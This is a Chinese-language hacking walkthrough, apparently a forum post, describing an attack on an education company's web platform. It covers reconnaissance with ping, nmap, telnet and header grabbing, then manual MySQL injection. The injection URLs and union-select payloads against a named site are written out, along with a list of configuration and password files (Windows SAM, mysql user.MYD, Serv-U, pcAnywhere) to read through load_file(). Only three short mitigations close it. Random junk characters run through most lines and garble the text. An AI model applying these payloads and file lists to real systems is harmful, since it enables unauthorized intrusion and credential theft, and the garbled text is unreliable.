题记:
% Y+ y' E( d' B5 `; V一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
( |9 w+ t& c' {( `- T' A; }- K第一步:获取需要的信息+ c7 O/ s+ _ u% I' L: N9 Y2 r
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
6 G1 u1 Y0 e* M注:以下为保护特用XXX代替敏感信息7 ~8 @6 y4 H, s1 X( h. Q' q3 }8 e0 V
顺手先PING了一下他们的域名:5 @! L6 {3 Y$ N' ^
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
1 |2 ]4 J+ @, X7 P% ]4 x64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms- l) d4 ?4 _/ D$ a( P9 {0 {# K/ c9 I- ~0 \" X
顺便了解一下TTL,学好基础知识才能一路顺风:
' A0 f: u I! y9 U* M. L0 Y+ `TTL:(Time To Live ) 生存时间; S1 V! {' _6 Y: L# @& Q
指定数据包被路由器丢弃之前允许通过的网段数量。% u0 _1 R9 H' n3 o7 g
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
1 @) o/ K0 T6 v使用PING时涉及到的 ICMP 报文类型4 n8 j( b9 Z' c0 _5 X1 z
一个为ICMP请求回显(ICMP Echo Request)+ i$ ]. `. k9 {* S5 B/ i' K
一个为ICMP回显应答(ICMP Echo Reply)
9 I- T6 L# c) }! |: v' h* D- `TTL 字段值可以帮助我们识别操作系统类型。
4 m/ P! `. T: W n+ s6 GUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
. [3 ?5 M+ O P& ^; j1 xCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64; O7 y5 Z! [% [2 T; ?
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 1286 x+ D; a' v! e z u1 R1 d
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
3 C2 ^$ B3 t8 Z当然,返回的TTL值是相同的
3 L' G' O9 [; h0 l1 J但有些情况下有所特殊
, x. x- t. b' a. fLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
3 r, H" j, L3 ]FreeBSD 4.1, 4.0, 3.4;7 o: p |, m9 J$ V7 z& e) F
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;8 b# n; R; I7 @3 `
OpenBSD 2.6, 2.7," L! x2 L( |" f# b' f- Z
NetBSD
5 Y1 Q) ~; _" iHP UX 10.20! S* O z ]6 B( ~! W4 v& m
ICMP 回显应答的 TTL 字段值为 255; h2 G6 L9 b) ~2 M) d8 {% Z' N
Windows 95/98/98SE
: Z$ x& Y7 ]6 Q& l% B4 T8 YWindows ME
' e2 N) `' G( ?! o; U: k' GICMP 回显应答的 TTL 字段值为 32
% e1 G- L# V) }. F2 |2 \4 fWindows NT4 WRKS; L; O/ o7 {! K: j
Windows NT4 Server, l; @! r; M; s1 N8 \ n# k
Windows 2000
0 Z) O) a: L8 }Windows XP
4 _/ x( w0 f1 R0 _& n: d/ uICMP 回显应答的 TTL 字段值为 128
5 O; F" q, @" [+ V' b这样,我们就可以通过这种方法来辨别操作系统8 u$ m, M' o# f
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
! p# b- U% i$ r# y/ z6 q用NMAP扫描一下:" k% P# D+ [# ~! {3 C1 O
nmap -sT -O XXX.XXX.XXX.XXX
' |3 E, ]* I' R# I如果没有装WinPcap则会弹出提示:: o3 S; d! R$ L6 D, A9 h" S. a. ~
WARNING: Could not import all necessary WinPcap functions. You may need to upgr$ b) N9 A/ c, ]
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
8 [. r* m3 @$ v4 C7 D6 t7 h3 H) mode — Nmap may not function completely: e0 H+ l; ?, b k
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
9 G+ Y2 X3 T' k- land iphlpapi.dll be installed. You seem to be missing one or both of these. Win
) Z4 _/ \4 x! I2 ~pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an& \8 k* t$ ~3 O+ e7 n
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v! s# W' T& J0 y5 H' w" v; U$ V
ersions, you may be able to take iphlpapi.dll from another system and place it i
, J5 E& L8 m6 X2 C: e" Yn your system32 dir (e.g. c:\windows\system32).; t, r9 z2 U8 k* {" A6 ^3 d
QUITTING!
2 x# Y) M0 |4 {& P到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe. M( B; ^ ~' F8 |
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
$ ]3 ?' x4 F; L# J# QInteresting ports on XXX.XXX.XXX.XXX:7 o1 x$ s5 W# I3 k: G% I) q) X
Not shown: 986 closed ports6 Y1 V% t! V- W0 n) b
PORT STATE SERVICE- x/ {! E; \% G+ O6 I+ x
21/tcp open ftp; ?" W- [3 @ w$ a
22/tcp open ssh
. q7 P! d( M. @. N9 G- c; {, W23/tcp open telnet8 \' c5 V" c8 Z! `$ c$ o( {2 e. v, u
80/tcp open http# L1 ~/ g K3 \0 j2 Z* a2 V6 f
111/tcp open rpcbind0 j4 o& Q* U. C
135/tcp filtered msrpc! g6 g+ [7 d+ A0 p5 r
139/tcp filtered netbios-ssn+ i$ g2 U9 s7 T2 n$ o2 M
445/tcp filtered microsoft-ds
& C) l- e% N7 o& L- ]% W% u6 Z3 ~513/tcp open login# n. O" g7 ?$ x! @
514/tcp open shell- J' R) g) @0 }. Q2 {- ]- h
593/tcp filtered http-rpc-epmap
9 {' @4 v5 O& n) v9 \2 E, y( A1720/tcp filtered H.323/Q.931
% m3 d8 ? v- O9 |4 }3306/tcp open mysql
+ `6 Z4 I" Q, J3 H& `4444/tcp filtered krb524
- V* A( Q" X: I6 EDevice type: WAP& W, _6 L+ E+ p9 m! M' s$ V
Running: Linux 2.4.X v/ h7 [* [& M* B+ g& H9 b5 u
OS details: DD-WRT (Linux 2.4.35s)
/ A' g. G8 g& M; v# JNetwork Distance: 13 hops- `- s J8 D& y( R
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:3 H9 I. s. W% i8 Q2 |; @
login as:6 G0 W. ^: S/ C3 {) }
Telnet23端口也是开着的,用telnet 命令链接一下:
9 o& K. ?1 B% Y. qtelnet XXX.XXX.XXX.XXX* n" f8 {( z- d5 G0 Q
提示:" t/ H2 [+ G8 Y: j `
Red Hat Enterprise Linux Server release 5.2 (Tikanga)+ c% ]+ g& m: j' ]# m4 D
Kernel 2.6.18-92.el5PAE on an i686
% `6 ?9 Z4 y; _- y1 glogin:6 u0 b4 J6 f8 K) Q: Z
获取HTTP头信息:& _" d) n0 [* S1 I( V
在本地执行如下PHP代码/ E+ U8 t& m* }9 `% Z) B
<?php
7 ^* [1 [! _ q/ C; G0 Z0 I$url = ‘XXX.XXX.XXX.XXX’;, _( ^1 m2 G, H" ~ E: J" N6 a' [
print_r(get_headers($url));# c4 `% @" c! e& A4 Y
print_r(get_headers($url, 1));1 A7 x. S g% j) q; l
?>6 G6 m3 S8 l1 u0 K2 n1 g8 m7 v
将以上代码保存为PHP文件,执行:, G" t" p1 F @/ P9 l- O) j
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
0 t' N: o3 L; H/ d; p现在可以得出结论:# Z0 k4 g$ x0 J# t
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)) |: p+ M2 x5 M \* g
内核版本:Kernel 2.6.18-92.el5PAE on an i686! U3 p# |& U# I ~+ i5 t# `
WEB服务器版本:nginx/0.7.61
$ J/ V. Z( L7 i1 L2 Y第二步,开始测试寻找漏洞
5 J: `7 X, b3 G0 }分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
W$ x1 ]- m: R* B1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
: \3 [& X9 S+ B+ J2 R: ]2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
- x9 g$ ]/ q. f. K4 Rhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常. B# k0 ]& c4 y H
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误 d. H1 f5 |& x& _3 e8 r
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
8 c5 f% V: d- p' ~3、手工注入:2 O6 d( i9 u# Q! T+ e
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
- l& z/ {" C& P7 O3.1 猜测当前表字段数- o" X6 W( r" \5 @$ Z" @% `
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 106 U& g( S% A2 q; H" X
此处猜测有个简单的算法,都是有技巧的吗,呵呵
* [& X# O+ w: c+ Q$ M7 T算法简单如下:/ e9 K, B4 g! x* q X9 b, I. F* C) R
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
0 s, s2 d+ B8 F+ B第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;* j0 h1 Y& n6 q Y' e, y
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。/ \$ W& v9 K0 ?8 e' ~. a5 R
以此来判断,是否过界,配合取中算法猜出字段数。) V' d2 o! C9 G- s: x
举例:
9 \, @( |. D. ^# o% Qhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常3 X$ Y) W3 x& I3 l- O' [
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误. ~6 G$ Q* r7 _, \7 `5 s
此时3则为我们要找的字段数。3 o; ]6 n1 B- f# W3 m
3.2 配合union联合查询字段在页面所位置
: W/ a, Y* v# O我们已经知道了字段数为3,此时则可以做如下操作:
! V) y) S8 c: A* P+ D8 O, qhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,32 M8 {8 U/ j$ E5 Z `7 h. l
6 S& M0 Q& d2 ? g
这样就可以测试到哪些字段在页面上有所显示了,如图:% {! G+ j' _; I- J( \1 u
8 i5 \! o5 \- a* f3.3 查敏感信息
* [4 O. r0 ^; [这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
# n# m/ e P! K2 G, B* \http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
& V; J' d# _4 k- X; Z3 u3.3.1 先查数据库用户、数据库名,以备后用,如图:( Y+ e4 r+ U4 c( s1 m# ~
: I4 ]( _9 a0 P1 p7 k得到数据库用户为root、数据库名为DBxx;
. z3 I: D. x0 P$ m3.3.2 查配置文件
c' R! f7 c9 L* P D" J. d查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
0 v5 _1 L% W+ S1 m! l7 n, @% y查看文件有一定的条件限制:& {0 Y f2 v& x
欲读取文件必须在服务器上
/ p: s& R% a4 Z4 a1 @8 L# M必须指定文件完整的路径+ S" c; n) R/ Z. R, @% m% O% w
必须有权限读取并且文件必须完全可读
2 U2 P3 e- c: N4 q& p欲读取文件必须小于 max_allowed_packet
! U+ o; _0 t/ ~; C& B* \MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
* q4 v9 h: ^% K! T$ P# r: x6 ~常用的一些:. l4 K% ^) t5 t3 O9 n4 E# T {" G
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件$ |& {7 ~+ t6 \" H3 g
/usr/local/apache2/conf/httpd.conf; m) S& c0 B) |
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置' a0 D; H- I; a
/usr/local/app/php5/lib/php.ini //PHP相关设置
. ^" P2 l$ `2 n" S" c8 r/etc/sysconfig/iptables //从中得到防火墙规则策略
! t) }4 \( A' \; @2 ?& _( D/etc/httpd/conf/httpd.conf // apache配置文件
3 c' ~% U2 p4 ^ n o& v2 Q/etc/rsyncd.conf //同步程序配置文件. e- j3 t' S2 N+ O- j
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.# y: Q8 S% t1 H" v0 Z: x6 z0 w
/etc/my.cnf //mysql的配置文件# W8 `% _- e& A& \6 e0 r+ S
/etc/redhat-release //系统版本5 u, G: k5 l! m% `# h
/etc/issue/ W: D! R3 P5 ?* \; R0 Z
/etc/issue.net1 ]0 ]0 V8 D2 i0 g
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码+ m5 Y# J. C$ E4 B' C, @8 G7 y
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码 D: ~" C4 n8 G# T8 k0 d
c:\Program Files\Serv-U\ServUDaemon.ini" [+ m# [# F4 N3 X. t9 |- s6 L
c:\windows\my.ini //MYSQL配置文件
0 }% N. B3 o; C) r: e0 w. z; O: `c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件) ^' t7 Z9 ?: x' E) X9 E4 i* Q
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,' ^; _3 l3 G# b7 C; V9 w1 o+ b
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码( I3 Z. @' E- R& F
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此& p% U2 k2 R$ L9 P% Y
c:\Program Files\RhinoSoft.com\ServUDaemon.exe! }* k5 h+ P: c; u" q! v- k* b0 P
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件9 v$ x# Y& ~' j& Q1 j; \/ P
//存储了pcAnywhere的登陆密码
) h7 h$ Z$ o6 X* O+ b" U+ N由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。# Q1 n" U/ ]0 [! u
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
; n; |* v5 Z4 h; G( {# W最后:防范措施
* U, ~# n$ [: U- o) Z [1、修复PHP注入漏洞;
# W" U8 q |8 P% }2 Z7 t; T+ J2、Mysql使用普通权限的用户;" ~- Z4 A {! _2 W
3、升级linux内核至最新版本; |